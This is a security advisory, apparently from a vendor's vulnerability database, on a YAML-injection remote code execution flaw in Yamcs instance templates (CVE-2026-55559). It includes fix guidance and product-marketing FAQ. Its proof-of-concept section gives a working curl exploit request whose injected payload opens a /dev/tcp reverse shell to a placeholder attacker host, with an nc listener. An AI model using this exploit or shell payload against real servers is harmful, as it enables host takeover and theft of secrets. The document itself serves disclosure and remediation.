Summary
Yamcs vulnerable to Remote Code Execution via instance-template argument YAML injection (createInstance)
templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.
Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.
Details
VarStatement appends arg values with no escaping:
// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);
The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.
Request to exec:InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances)
→ YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs))
→ rendered config loaded as YConfiguration
→ YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader)
→ org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).
createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.
A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.
PoC
Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".
Listener:
nc -lvnp 4444
Request (set <LHOST> / <LPORT> to the listener):
curl -i -X POST http://<target>:8090/api/instances \
-H 'Content-Type: application/json' \
-d '{
"name": "pwned",
"template": "example",
"templateArgs": {
"spaceSystem": "x\"\nservices:\n - class: org.yamcs.ProcessRunner\n args:\n command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
"bar": "Option 2"
}
}'
Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".
With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.
Impact
Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.
It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2026-55559 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.13.2, 5.12.8); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
org.yamcs:yamcs-core to 5.13.2 or later; org.yamcs:yamcs-core to 5.12.8 or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-55559? CVE-2026-55559 is a critical-severity code injection vulnerability in org.yamcs:yamcs-core (maven), affecting versions >= 5.13.0, <= 5.13.1. It is fixed in 5.13.2, 5.12.8. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2026-55559? CVE-2026-55559 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of org.yamcs:yamcs-core are affected by CVE-2026-55559? org.yamcs:yamcs-core (maven) versions >= 5.13.0, <= 5.13.1 is affected.
- Is there a fix for CVE-2026-55559? Yes. CVE-2026-55559 is fixed in 5.13.2, 5.12.8. Upgrade to this version or later.
- Is CVE-2026-55559 exploitable, and should I be worried? Whether CVE-2026-55559 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55559 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55559?
- Upgrade
org.yamcs:yamcs-coreto 5.13.2 or later - Upgrade
org.yamcs:yamcs-coreto 5.12.8 or later
- Upgrade